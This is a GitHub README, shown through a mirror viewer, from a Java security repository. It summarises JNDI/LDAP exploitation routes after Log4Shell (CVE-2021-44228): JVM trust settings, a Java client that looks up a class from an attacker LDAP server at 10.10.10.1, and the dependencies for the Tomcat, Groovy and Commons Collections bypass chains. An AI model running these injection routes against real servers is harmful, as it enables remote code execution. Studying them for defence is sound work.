FazBrowse GitHub Viewer | Trending |
URL:
| Home
Tools: [Download Repo ZIP]   [Original HTTPS Page]

JavaSec/basic-knowledge/jndi at main · m0unta1ner/JavaSec · GitHub

Repository navigation

Latest commit

 

History

History
 
 

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

README.md

缘起Log4j2

因为 Log4j2 RCE(CVE-2021-44228)的出现,所以顺便把JNDI+LDAP的利用姿势一并总结。 利用需要注意的限制

  • java.rmi.server.useCodebaseOnly
    • 默认值为true,禁止自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
  • com.sun.jndi.rmi.object.trustURLCodebase
    • 默认为false,禁止RMI和CORBA协议使用远程codebase的选项
  • com.sun.jndi.ldap.object.trustURLCodebase
    • 默认为false,禁止LDAP协议使用远程codebase的选项

JNDI via LDAP

0x01 理想环境(trustURLCodebase == true)

LDAP客户端:LDAPClient.java

package ldap;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
    public static void main(String[] args) throws NamingException {
        /**
         * 注意:JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false
         * 所以:在进行JNDI利用时,需要注意目标使用的JDK版本
         */
        Context ctx = new InitialContext();
        ctx.lookup("ldap://10.10.10.1:1389/badClassName");
    }
}

LDAP服务端:LDAPKit (改了一下,加了一些链进去)

测试效果:

0x02 Tomcat v8+

Tomcat v8+

  • org.apache.naming.factory.BeanFactory
  • javax.el.ELProcessor

依赖环境

<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-core</artifactId>
    <version>8.5.61</version>
</dependency>

0x03 Groovy (

依赖环境

<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy-all</artifactId>
    <version>1.5.0</version>
</dependency>

0x04 javaSerializedData属性+Gadgets(如CC链)

依赖环境

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

起一个LDAP + CC05的服务端:

测试效果:


Back | FazBrowse Home | New Git URL